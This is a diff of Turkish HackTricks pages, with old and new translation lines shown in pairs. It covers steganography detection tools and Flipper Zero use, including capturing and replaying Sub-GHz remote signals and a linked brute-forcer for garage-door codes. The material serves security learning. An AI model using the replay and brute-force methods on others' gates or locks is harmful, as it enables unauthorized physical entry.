- `zsteg -a dosya` bir dosya üzerinde tüm tespit yöntemlerini uygular.
- `zsteg -E dosya` veri çıkarma için bir payload belirtir.
* `zsteg -a dosya` bir dosya üzerinde tüm tespit yöntemlerini uygular.
* `zsteg -E dosya` veri çıkarma için bir yük belirtir.
### **StegoVeritas ve Stegsolve**
**stegoVeritas**, meta verileri kontrol eder, görüntü dönüşümleri yapar ve LSB brute forcing gibi diğer özellikleri uygular. Tüm seçeneklerin bir listesini görmek için `stegoveritas.py -h` komutunu kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu kullanın.
**stegoVeritas**, metaverileri kontrol eder, görüntü dönüşümleri yapar ve diğer özellikler arasında LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu kullanın.
**Stegsolve**, gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) bulunur.
**Stegsolve**, gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) bulunabilir.
### **Gizli İçerik Tespiti için FFT**
Hızlı Fourier Dönüşümü (FFT) teknikleri, görüntülerde gizli içeriği ortaya çıkarabilir. Faydalı kaynaklar şunlardır:
Hızlı Fourier Dönüşümü (FFT) teknikleri, görüntülerde gizli içeriği ortaya çıkarabilir. Faydalı kaynaklar şunları içerir:
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
- [GitHub'da FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
* [GitHub'da FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
### **Ses ve Görüntü Dosyaları için Stegpy**
Stegpy, PNG, BMP, GIF, WebP ve WAV gibi formatları destekleyen görüntü ve ses dosyalarına bilgi gömmeyi sağlar. [GitHub'da](https://github.com/dhsdshdhk/stegpy) bulunur.
Stegpy, bilgiyi görüntü ve ses dosyalarına gömmeyi sağlar ve PNG, BMP, GIF, WebP ve WAV gibi formatları destekler. [GitHub'da](https://github.com/dhsdshdhk/stegpy) bulunabilir.
### **PNG Dosya Analizi için Pngcheck**
@ -148,30 +137,34 @@ pngcheck stego.png
```
### **Görüntü Analizi için Ek Araçlar**
Daha fazla keşif için şu adreslere göz atmayı düşünebilirsiniz:
Daha fazla keşif için şu adresleri ziyaret etmeyi düşünün:
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
- [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
- [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/)
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
* [OpenStego](https://www.openstego.com/)
* [DIIT](https://diit.sourceforge.net/)
## **Seslerden Veri Çıkarma**
## **Ses Dosyalarından Veri Çıkarma**
**Ses steganografi**, bilgiyi ses dosyalarının içine gizlemek için benzersiz bir yöntem sunar. Gizli içeriği gömmek veya almak için farklı araçlar kullanılır.
**Ses steganografisi**, bilgileri ses dosyalarının içine gizlemek için benzersiz bir yöntem sunar. Gizli içeriği gömmek veya almak için farklı araçlar kullanılır.
### **Steghide (JPEG, BMP, WAV, AU)**
Steghide, JPEG, BMP, WAV ve AU dosyalarında veri gizlemek için tasarlanmış çok yönlü bir araçtır. Detaylı talimatlar [stego tricks belgelerinde](stego-tricks.md#steghide) sağlanmaktadır.
Steghide, verileri JPEG, BMP, WAV ve AU dosyalarına gizlemek için tasarlanmış çok yönlü bir araçtır. Detaylı talimatlar [stego tricks belgelerinde](stego-tricks.md#steghide) sağlanmaktadır.
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
Bu araç, PNG, BMP, GIF, WebP ve WAV gibi çeşitli formatlarla uyumludur. Daha fazla bilgi için [Stegpy bölümüne](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) başvurun.
### **ffmpeg**
ffmpeg, ses dosyalarının bütünlüğünü değerlendirmek, ayrıntılı bilgi sağlamak ve herhangi bir uyumsuzluğu belirlemek için önemlidir.
ffmpeg, ses dosyalarının bütünlüğünü değerlendirmek için hayati öneme sahiptir, detaylı bilgileri vurgular ve herhangi bir uyumsuzluğu belirler.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg, en az anlamlı bit stratejisini kullanarak WAV dosyaları içinde veri gizleme ve çıkarma konusunda başarılıdır. [GitHub](https://github.com/ragibson/Steganography#WavSteg) üzerinden erişilebilir. Komutlar şunları içerir:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
@ -179,48 +172,45 @@ python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound, AES-256 kullanarak ses dosyaları içindeki bilgilerin şifrelenmesine ve tespit edilmesine olanak tanır. [Resmi sayfadan](http://jpinsoft.net/deepsound/download.aspx) indirilebilir.
Deepsound, AES-256 kullanarak ses dosyaları içinde bilgi şifreleme ve tespit etmeye olanak tanır. [Resmi sayfadan](http://jpinsoft.net/deepsound/download.aspx) indirilebilir.
### **Sonic Visualizer**
Ses dosyalarının görsel ve analitik incelemesi için çok değerli bir araç olan Sonic Visualizer, diğer yöntemlerle tespit edilemeyen gizli unsurları ortaya çıkarabilir. Daha fazlası için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin.
Ses dosyalarının görsel ve analitik incelemesi için paha biçilmez bir araç olan Sonic Visualizer, diğer yöntemlerle tespit edilemeyen gizli unsurları ortaya çıkarabilir. Daha fazlası için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin.
### **DTMF Tones - Dial Tones**
Ses dosyalarında DTMF tonlarının tespiti, [bu DTMF tespit aracı](https://unframework.github.io/dtmf-detect/) ve [DialABC](http://dialabc.com/sound/detect/index.html) gibi çevrimiçi araçlar aracılığıyla gerçekleştirilebilir.
Ses dosyalarındaki DTMF tonlarını tespit etmek, [bu DTMF dedektörü](https://unframework.github.io/dtmf-detect/) ve [DialABC](http://dialabc.com/sound/detect/index.html) gibi çevrimiçi araçlar aracılığıyla başarıyla gerçekleştirilebilir.
## **Diğer Teknikler**
### **Binary Length SQRT - QR Code**
Tam bir sayıya kare olan ikili veriler bir QR kodunu temsil edebilir. Kontrol etmek için bu kod parçasını kullanın:
Bir tam sayıya karesel olarak eşit olan ikili veriler bir QR kodunu temsil edebilir. Bunun kontrolü için bu parçacığı kullanın:
```python
import math
math.sqrt(2500) #50
```
Binary to image dönüşümü için [dcode](https://www.dcode.fr/binary-image)'u kontrol edin. QR kodlarını okumak için [bu çevrimiçi barkod okuyucuyu](https://online-barcode-reader.inliteresearch.com/) kullanın.
### **Braille Çevirisi**
Braille çevirisi için [Branah Braille Çevirici](https://www.branah.com/braille-translator) mükemmel bir kaynaktır.
Braille çevirisi için [Branah Braille Çevirmeni](https://www.branah.com/braille-translator) mükemmel bir kaynaktır.
## **Referanslar**
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking hilelerinizi paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,51 +2,37 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı göndererek PR'larla paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
[**Flipper Zero**](https://flipperzero.one/) ile şunları yapabilirsiniz:
* **Radyo frekanslarını dinleme/yakalama/tekrarlama:** [**Sub-GHz**](fz-sub-ghz.md)****
* **NFC kartlarını okuma/yakalama/emülasyon:** [**NFC**](fz-nfc.md)****
* **125kHz etiketleri okuma/yakalama/emülasyon:** [**125kHz RFID**](fz-125khz-rfid.md)****
* **Kızılötesi sinyalleri okuma/yakalama/gönderme:** [**Infrared**](fz-infrared.md)****
* **iButton'ları okuma/yakalama/emülasyon:** [**iButton**](../ibutton.md)****
* **Radyo frekanslarını dinleme/yakalama/tekrarlama:** [**Sub-GHz**](fz-sub-ghz.md)
* **NFC kartları okuma/yakalama/emülasyon:** [**NFC**](fz-nfc.md)
* **125kHz etiketleri okuma/yakalama/emülasyon:** [**125kHz RFID**](fz-125khz-rfid.md)
* **Kızılötesi sinyalleri okuma/yakalama/gönderme:** [**Infrared**](fz-infrared.md)
* **iButton'ları okuma/yakalama/emülasyon:** [**iButton**](../ibutton.md)
* **Kötü USB olarak kullanma**
* **Güvenlik anahtarı (U2F) olarak kullanma**
* **Yılan oyunu oynama**
**Diğer Flipper Zero kaynakları** [**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero)****
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
**Diğer Flipper Zero kaynakları için** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı göndererek PR'larla paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,39 +2,31 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun ve daha hızlı düzeltin. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Giriş <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero, yerleşik modülüyle **300-928 MHz aralığındaki radyo frekanslarını alıp iletebilir**. Bu modül, uzaktan kumandaları okuyabilir, kaydedebilir ve taklit edebilir. Bu kumandalar, kapılar, bariyerler, radyo kilitleri, uzaktan kumanda anahtarları, kablosuz kapı zilleri, akıllı ışıklar ve daha fazlasıyla etkileşim için kullanılır. Flipper Zero, güvenliğinizin tehlikeye atılıp atılmadığını öğrenmenize yardımcı olabilir.
Flipper Zero, yerleşik modülü aracılığıyla **300-928 MHz aralığında radyo frekanslarını alıp ve iletebilir**. Bu modül uzaktan kumandaları okuyabilir, kaydedebilir ve taklit edebilir. Bu kumandalar, kapılar, bariyerler, radyo kilitleri, uzaktan kumandalı anahtarlar, kablosuz kapı zilleri, akıllı ışıklar ve daha fazlası ile etkileşim için kullanılır. Flipper Zero, güvenliğinizin tehlikeye atılıp atılmadığını öğrenmenize yardımcı olabilir.
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
## Sub-GHz donanımı <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero, [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 çipi](https://www.ti.com/lit/ds/symlink/cc1101.pdf) ve bir radyo anteni (maksimum menzil 50 metre) üzerinde çalışan yerleşik bir sub-1 GHz modülüne sahiptir. Hem CC1101 çipi hem de anten, 300-348 MHz, 387-464 MHz ve 779-928 MHz bantlarında çalışacak şekilde tasarlanmıştır.
Flipper Zero, [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 çipi](https://www.ti.com/lit/ds/symlink/cc1101.pdf) ve bir radyo antenine dayalı yerleşik bir sub-1 GHz modüle sahiptir (maksimum menzil 50 metredir). Hem CC1101 çipi hem de anten, 300-348 MHz, 387-464 MHz ve 779-928 MHz bantlarında çalışacak şekilde tasarlanmıştır.
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
## İşlemler
## Eylemler
### Frekans Analizörü
@ -42,32 +34,32 @@ Flipper Zero, [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101
Uzaktan kumandanın hangi frekansı kullandığını bulma
{% endhint %}
Analiz yaparken, Flipper Zero frekans yapılandırmasında mevcut olan tüm frekanslarda sinyal gücünü (RSSI) tarar. Flipper Zero, -90 [dBm](https://en.wikipedia.org/wiki/DBm)'den daha yüksek sinyal gücüne sahip olan en yüksek RSSI değerine sahip frekansı ekranda gösterir.
Analiz yaparken, Flipper Zero frekans konfigürasyonunda mevcut olan tüm frekanslarda sinyal gücünü (RSSI) tarar. Flipper Zero, -90 [dBm](https://en.wikipedia.org/wiki/DBm)'den yüksek sinyal gücüne sahip olan en yüksek RSSI değerine sahip frekansı ekranda gösterir.
Uzaktan kumandanın frekansını belirlemek için aşağıdaki adımları izleyin:
Uzaktan kumandanın frekansını belirlemek için şunları yapın:
1. Uzaktan kumandayı Flipper Zero'nun soluna çok yakın bir yere yerleştirin.
2. **Ana Menü**'ye gidin **→ Sub-GHz**.
3. **Frekans Analizörü'nü** seçin, ardından analiz yapmak istediğiniz uzaktan kumandanın düğmesini basılı tutun.
4. Ekran üzerindeki frekans değerini inceleyin.
3. **Frekans Analizörü'nü** seçin, ardından analiz etmek istediğiniz uzaktan kumandadaki düğmeye basılı tutun.
4. Ekranda frekans değerini inceleyin.
### Oku
{% hint style="info" %}
Kullanılan frekans hakkında bilgi bulma (aynı zamanda hangi frekansın kullanıldığını bulmanın başka bir yolu)
Kullanılan frekans hakkında bilgi bulma (ayrıca hangi frekansın kullanıldığını bulmanın başka bir yolu)
{% endhint %}
**Oku** seçeneği, belirtilen modülasyonda (varsayılan olarak 433.92 AM) yapılandırılmış frekansta **dinleme yapar**. Okuma sırasında **bir şey bulunursa**, bilgi ekranında verilir. Bu bilgi, sinyali gelecekte tekrarlamak için kullanılabilir.
**Oku** seçeneği, varsayılan olarak 433.92 AM modülasyonunda yapılandırılmış frekansta dinleme yapar. **Okuma sırasında bir şey bulunursa**, ekran üzerinde **bilgi verilir**. Bu bilgi, gelecekte sinyali çoğaltmak için kullanılabilir.
Okuma kullanılırken, **sol düğmeye basarak** ve **onu yapılandırarak** ayarlanabilir.\
Şu anda **4 modülasyon** (AM270, AM650, FM328 ve FM476) ve **birkaç önemli frekans** bulunmaktadır:
Okuma sırasında, **sol düğmeye basarak** ve **yapılandırarak** kullanılabilir.\
Şu anda **4 modülasyon** (AM270, AM650, FM328 ve FM476) ve **çeşitli ilgili frekanslar** saklanmış durumda:
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
**İlgilendiğiniz herhangi birini** ayarlayabilirsiniz, ancak eğer sahip olduğunuz uzaktan kumandanın hangi frekansı kullandığından **emin değilseniz, Hopping'i ON** (varsayılan olarak Off) olarak ayarlayın ve Flipper yakalayana kadar düğmeye birkaç kez basın ve ihtiyacınız olan bilgiyi size vermesini bekleyin.
Sizi ilgilendiren **herhangi birini ayarlayabilirsiniz**, ancak eğer sahip olduğunuz uzaktan kumanda tarafından kullanılan frekansı **kesin olarak bilmiyorsanız Hopping'i ON** (varsayılan olarak Off) yapın ve Flipper'ın yakalayıp ihtiyacınız olan bilgiyi vermesi için düğmeye birkaç kez basın.
{% hint style="danger" %}
Frekanslar arasında geçiş yapmak biraz zaman alır, bu nedenle geçiş sırasında iletilen sinyaller kaçırılabilir. Daha iyi bir sinyal alımı için, Frekans Analizörü tarafından belirlenen sabit bir frekans ayarlayın.
Frekanslar arasında geçiş biraz zaman alır, bu nedenle geçiş sırasında iletilen sinyaller kaçırılabilir. Daha iyi sinyal alımı için Frekans Analizörü tarafından belirlenen sabit bir frekans ayarlayın.
{% endhint %}
### **Ham Oku**
@ -78,60 +70,50 @@ Yapılandırılmış frekansta bir sinyali çalın (ve tekrarlayın)
**Ham Oku** seçeneği, dinleme frekansında gönderilen sinyalleri kaydeder. Bu, bir sinyali **çalmak** ve **tekrarlamak** için kullanılabilir.
Varsayılan olarak, **Ham Oku** da 433.92 AM650'de bulunur, ancak Oku seçeneğiyle ilgilendiğiniz sinyalin farklı bir frekansta/modülasyonda olduğunu bulduysanız, sol düğmeye basarak bunu da değiştirebilirsiniz (Ham Oku seçeneği içindeyken).
Varsayılan olarak **Ham Oku da 433.92'de AM650'de** bulunur, ancak Oku seçeneği ile ilginizi çeken sinyalin farklı bir frekans/modülasyonda olduğunu bulursanız, bunu da değiştirebilirsiniz sol düğmeye basarak (Ham Oku seçeneği içindeyken).
### Kaba Kuvvet
Örneğin garaj kapısının kullandığı protokolü biliyorsanız, **Flipper Zero ile tüm kodları oluşturabilir ve gönderebilirsiniz**. Bu, genel olarak yaygın garaj tiplerini destekleyen bir örnektir: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)\*\*\*\*
Örneğin garaj kapısı tarafından kullanılan protokolü biliyorsanız, **tüm kodları oluşturabilir ve Flipper Zero ile gönderebilirsiniz**. Bu, genel olarak yaygın garaj tiplerini destekleyen bir örnektir: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### Elle Ekle
### Manuel Olarak Ekle
{% hint style="info" %}
Yapılandırılmış protokol listesinden sinyaller ekleyin
Yapılandırılmış protokoller listesinden sinyal ekleyin
{% endhint %}
#### [Desteklenen protokollerin](https://docs.flipperzero.one/sub-ghz/add-new-remote) listesi <a href="#3iglu" id="3iglu"></a>
#### [Desteklenen protokollerin](https://docs.flipperzero.one/sub-ghz/add-new-remote) listesi <a href="#id-3iglu" id="id-3iglu"></a>
| Princeton\_433 (çoğu statik kod sistemleriyle çalışır) | 433.92 | Statik |
| ---------------------------------------------------- | ------ | ------- |
| Nice Flo 12bit\_433 | 433.92 | Statik |
| Nice Flo 24bit\_433 | 433.92 | Statik |
| CAME 12
| Princeton\_433 (statik kod sistemlerinin çoğuyla çalışır) | 433.92 | Statik |
| -------------------------------------------------------- | ------ | ------- |
| Nice Flo 12bit\_433 | 433.92 | Statik |
| Nice Flo 24bit\_433 | 433.92 | Statik |
| CAME 12bit\_433 | 433.92 | Statik |
| CAME 24bit\_433 | 433.92 | Statik |
| Linear\_300 | 300.00 | Statik |
| CAME TWEE | 433.92 | Statik |
| Gate TX\_433 | 433.92 | Statik |
| DoorHan\_315 | 315.00 | Dinamik |
| DoorHan\_433 | 433.92 | Dinamik |
| LiftMaster\_315 | 315.00 | Dinamik |
| LiftMaster\_390 | 390.00 | Dinamik |
| Security+2.0\_310 | 310.00 | Dinamik |
| Security+2.0\_315 | 315.00 | Dinamik |
| Security+2.0\_390 | 390.00 | Dinamik |
### Desteklenen Sub-GHz Satıcıları
[https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors) adresindeki listede kontrol edin.
Listeye [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors) adresinden bakın.
### Bölgeye Göre Desteklenen Frekanslar
[https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies) adresindeki listede kontrol edin.
Listeye [https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies) adresinden bakın.
### Test
{% hint style="info" %}
Kaydedilen frekansların dBm değerlerini alın.
Kaydedilen frekansların dBm'lerini alın
{% endhint %}
## Referans
